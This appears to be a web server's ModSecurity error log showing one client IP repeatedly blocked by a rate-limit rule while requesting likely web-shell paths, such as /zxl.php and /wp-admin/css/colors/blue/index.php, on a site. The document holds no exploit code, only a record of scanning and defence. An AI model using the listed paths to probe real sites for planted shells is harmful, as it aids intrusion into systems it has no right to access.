[Sat Jan 03 22:34:15.763364 2026] [:error] [pid 31222:tid 31236] [client 4.197.161.255:19912] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aVko56Hw6nASHXAc2v_2KAAAAcw"]
[Sat Jan 03 22:34:16.763638 2026] [:error] [pid 31630:tid 31650] [client 4.197.161.255:19928] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aVko6PUV_PU2SWgLPuht9AAAAZI"]
[Sat Jan 03 22:34:17.597832 2026] [:error] [pid 1931:tid 1999] [client 4.197.161.255:19924] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ca1.php"] [unique_id "aVko6R8Tyw7ZoIdXlcYVnAAAAIM"]
[Sat Jan 03 22:34:18.211065 2026] [:error] [pid 19639:tid 19655] [client 4.197.161.255:19863] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aVko6iQ7fWZUytnlHEwKLAAAAU4"]
[Sat Jan 03 22:34:18.771857 2026] [:error] [pid 19639:tid 19659] [client 4.197.161.255:7132] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aVko6iQ7fWZUytnlHEwKLQAAAVI"]
[Sat Jan 03 22:34:20.513057 2026] [:error] [pid 2083:tid 2107] [client 4.197.161.255:19962] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aVko7DVlR_BmlMPnhV4nGwAAANY"]
[Sat Jan 03 22:34:21.536414 2026] [:error] [pid 19639:tid 19644] [client 4.197.161.255:19868] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file51.php"] [unique_id "aVko7SQ7fWZUytnlHEwKLgAAAUM"]
[Sat Jan 03 22:34:23.577321 2026] [:error] [pid 1930:tid 1986] [client 4.197.161.255:19950] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aVko75P-6mqhfUDa89zyUQAAAFQ"]
[Sat Jan 03 22:34:24.883247 2026] [:error] [pid 31222:tid 31243] [client 4.197.161.255:19866] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aVko8KHw6nASHXAc2v_2LQAAAdM"]
[Sat Jan 03 22:34:26.797134 2026] [:error] [pid 31222:tid 31232] [client 4.197.161.255:19864] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aVko8qHw6nASHXAc2v_2LgAAAcg"]
[Sat Jan 03 22:34:27.382195 2026] [:error] [pid 2083:tid 2087] [client 4.197.161.255:19914] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/abouta.php"] [unique_id "aVko8zVlR_BmlMPnhV4nHwAAAMI"]
[Sat Jan 03 22:34:27.573061 2026] [:error] [pid 1930:tid 1979] [client 4.197.161.255:19926] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aVko85P-6mqhfUDa89zyVAAAAE0"]
[Sat Jan 03 22:34:27.762297 2026] [:error] [pid 1930:tid 1980] [client 4.197.161.255:19856] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aVko85P-6mqhfUDa89zyVgAAAE4"]
[Sat Jan 03 22:34:28.942631 2026] [:error] [pid 1930:tid 1978] [client 4.197.161.255:19931] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aVko9JP-6mqhfUDa89zyWAAAAEw"]
[Sat Jan 03 22:34:29.367402 2026] [:error] [pid 1930:tid 1982] [client 4.197.161.255:7107] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fclas.php"] [unique_id "aVko9ZP-6mqhfUDa89zyWgAAAFA"]
[Sat Jan 03 22:34:29.539353 2026] [:error] [pid 31222:tid 31245] [client 4.197.161.255:19867] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aVko9aHw6nASHXAc2v_2NQAAAdU"]
[Sat Jan 03 22:34:29.765366 2026] [:error] [pid 31630:tid 31643] [client 4.197.161.255:19906] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aVko9fUV_PU2SWgLPuht-wAAAYs"]
[Sat Jan 03 22:34:30.187733 2026] [:error] [pid 1931:tid 2032] [client 4.197.161.255:19916] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aVko9h8Tyw7ZoIdXlcYVpQAAAIg"]
[Sat Jan 03 22:34:30.881000 2026] [:error] [pid 31222:tid 31233] [client 4.197.161.255:19905] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/File.php"] [unique_id "aVko9qHw6nASHXAc2v_2NwAAAck"]
[Sat Jan 03 22:34:31.523095 2026] [:error] [pid 1930:tid 1973] [client 4.197.161.255:7117] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aVko95P-6mqhfUDa89zyXwAAAEc"]
[Sat Jan 03 22:34:31.867305 2026] [:error] [pid 31222:tid 31229] [client 4.197.161.255:19953] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aVko96Hw6nASHXAc2v_2OwAAAcU"]
[Sat Jan 03 22:34:32.026846 2026] [:error] [pid 31222:tid 31235] [client 4.197.161.255:7136] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aVko-KHw6nASHXAc2v_2PAAAAcs"]
[Sat Jan 03 22:34:32.430057 2026] [:error] [pid 31222:tid 31230] [client 4.197.161.255:19944] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/all.php"] [unique_id "aVko-KHw6nASHXAc2v_2PQAAAcY"]
[Sat Jan 03 22:34:32.761888 2026] [:error] [pid 31222:tid 31237] [client 4.197.161.255:19882] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aVko-KHw6nASHXAc2v_2PgAAAc0"]
[Sat Jan 03 22:34:32.987990 2026] [:error] [pid 1930:tid 1975] [client 4.197.161.255:19955] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aVko-JP-6mqhfUDa89zyZAAAAEk"]
[Sat Jan 03 22:34:33.328488 2026] [:error] [pid 1930:tid 1990] [client 4.197.161.255:19847] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aVko-ZP-6mqhfUDa89zyZgAAAFg"]
[Sat Jan 03 22:34:34.874515 2026] [:error] [pid 31630:tid 31639] [client 4.197.161.255:19967] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bbn.php"] [unique_id "aVko-vUV_PU2SWgLPuht_gAAAYc"]
[Sat Jan 03 22:34:36.204916 2026] [:error] [pid 31222:tid 31224] [client 4.197.161.255:19958] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aVko_KHw6nASHXAc2v_2RwAAAcA"]
[Sat Jan 03 22:34:37.080530 2026] [:error] [pid 1931:tid 1994] [client 4.197.161.255:19949] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aVko_R8Tyw7ZoIdXlcYVqgAAAIE"]
[Sat Jan 03 22:34:38.842990 2026] [:error] [pid 1929:tid 1945] [client 4.197.161.255:19886] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aVko_ucFqdpu6TNsuWr9VgAAAAc"]
[Sat Jan 03 22:34:39.416679 2026] [:error] [pid 31222:tid 31229] [client 4.197.161.255:19966] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/berlin.php"] [unique_id "aVko_6Hw6nASHXAc2v_2TAAAAcU"]
[Sat Jan 03 22:34:40.403531 2026] [:error] [pid 1929:tid 1960] [client 4.197.161.255:19923] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aVkpAOcFqdpu6TNsuWr9WgAAABY"]
[Sat Jan 03 22:34:41.501836 2026] [:error] [pid 31222:tid 31243] [client 4.197.161.255:19854] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aVkpAaHw6nASHXAc2v_2UQAAAdM"]
[Sat Jan 03 22:34:42.250191 2026] [:error] [pid 31222:tid 31226] [client 4.197.161.255:19933] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aVkpAqHw6nASHXAc2v_2UwAAAcI"]
[Sat Jan 03 22:34:43.053201 2026] [:error] [pid 31222:tid 31225] [client 4.197.161.255:19942] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class-t.api.php"] [unique_id "aVkpA6Hw6nASHXAc2v_2VQAAAcE"]
[Sat Jan 03 22:34:43.707602 2026] [:error] [pid 31222:tid 31244] [client 4.197.161.255:19859] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aVkpA6Hw6nASHXAc2v_2VgAAAdQ"]
[Sat Jan 03 22:34:59.683744 2026] [:error] [pid 1929:tid 1938] [client 4.197.161.255:19963] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aVkpE-cFqdpu6TNsuWr9iwAAAAA"]
[Sat Jan 03 22:35:00.998808 2026] [:error] [pid 31630:tid 31634] [client 4.197.161.255:19840] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aVkpFPUV_PU2SWgLPuhuDAAAAYI"]
[Sat Jan 03 22:35:02.139709 2026] [:error] [pid 31630:tid 31651] [client 4.197.161.255:19849] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aVkpFvUV_PU2SWgLPuhuDgAAAZM"]
[Sat Jan 03 22:35:03.492292 2026] [:error] [pid 34260:tid 34276] [client 4.197.161.255:19915] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zxl.php"] [unique_id "aVkpF0WWhyvZ0O9KNVQyTQAAAQ4"]
[Sat Jan 03 22:35:04.800233 2026] [:error] [pid 34260:tid 34271] [client 4.197.161.255:7051] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aVkpGEWWhyvZ0O9KNVQyTwAAAQk"]
[Sat Jan 03 22:35:05.202058 2026] [:error] [pid 34260:tid 34280] [client 4.197.161.255:19862] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aVkpGUWWhyvZ0O9KNVQyUAAAARI"]
[Sat Jan 03 22:35:06.271529 2026] [:error] [pid 31222:tid 31235] [client 4.197.161.255:19858] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aVkpGqHw6nASHXAc2v_2XgAAAcs"]
[Sat Jan 03 22:35:07.445776 2026] [:error] [pid 34260:tid 34274] [client 4.197.161.255:19897] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zwso.php"] [unique_id "aVkpG0WWhyvZ0O9KNVQyUgAAAQw"]
[Sat Jan 03 22:35:08.348127 2026] [:error] [pid 19639:tid 19651] [client 4.197.161.255:19846] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aVkpHCQ7fWZUytnlHEwKSgAAAUo"]
[Sat Jan 03 22:35:08.705980 2026] [:error] [pid 31222:tid 31237] [client 4.197.161.255:19902] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aVkpHKHw6nASHXAc2v_2YAAAAc0"]
[Sat Jan 03 22:35:09.183437 2026] [:error] [pid 19639:tid 19653] [client 4.197.161.255:19874] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aVkpHSQ7fWZUytnlHEwKTAAAAUw"]
[Sat Jan 03 22:35:09.819409 2026] [:error] [pid 31222:tid 31246] [client 4.197.161.255:7109] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "aVkpHaHw6nASHXAc2v_2YgAAAdY"]
[Sat Jan 03 22:35:10.054484 2026] [:error] [pid 19639:tid 19658] [client 4.197.161.255:7104] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aVkpHiQ7fWZUytnlHEwKTQAAAVE"]
[Sat Jan 03 22:35:10.161668 2026] [:error] [pid 1930:tid 1989] [client 4.197.161.255:7148] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aVkpHpP-6mqhfUDa89zyaAAAAFc"]
[Sat Jan 03 22:35:10.302781 2026] [:error] [pid 1930:tid 1980] [client 4.197.161.255:19930] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aVkpHpP-6mqhfUDa89zyaQAAAE4"]
[Sat Jan 03 22:35:10.587715 2026] [:error] [pid 19639:tid 19654] [client 4.197.161.255:19876] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aVkpHiQ7fWZUytnlHEwKTgAAAU0"]
[Sat Jan 03 22:35:11.413453 2026] [:error] [pid 31222:tid 31243] [client 4.197.161.255:19889] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aVkpH6Hw6nASHXAc2v_2ZAAAAdM"]
[Sat Jan 03 22:35:12.043810 2026] [:error] [pid 1930:tid 1974] [client 4.197.161.255:19952] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aVkpIJP-6mqhfUDa89zyagAAAEg"]
[Sat Jan 03 22:35:13.066423 2026] [:error] [pid 1930:tid 1983] [client 4.197.161.255:19961] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aVkpIZP-6mqhfUDa89zybgAAAFE"]
[Sat Jan 03 22:35:13.401897 2026] [:error] [pid 1931:tid 2027] [client 4.197.161.255:19857] [client 4.197.161.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class20.php"] [unique_id "aVkpIR8Tyw7ZoIdXlcYVsQAAAIQ"]
